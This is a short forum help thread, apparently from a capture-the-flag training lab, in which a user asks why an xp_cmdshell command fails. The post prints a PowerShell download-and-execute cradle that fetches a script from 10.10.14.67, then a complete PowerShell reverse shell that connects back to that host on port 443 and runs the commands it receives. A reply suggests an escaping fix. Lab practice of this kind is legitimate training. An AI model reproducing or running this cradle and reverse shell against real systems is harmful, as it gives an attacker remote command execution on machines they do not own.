Starting Point Foothold xp_cmdshell

In starting Point Foothold ,when i try to connect to powershell using sql using code ::

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.67/shell.ps1\“);”

Exception calling “DownloadString” with “1” argument(s): “The given path’s format is not supported.”

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.67\she …

  • 
      + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      
    
      + FullyQualifiedErrorId : NotSupportedException                                
    
    
    
    

Also my shell.ps1 file is ::

$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.67”,443);$stream = $client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

can anyone help me ?

@darkking1897 said:

At line:1 char:1

This isn’t my strongest area but the \ looks like something is being corrupted.

Try escaping the / with \/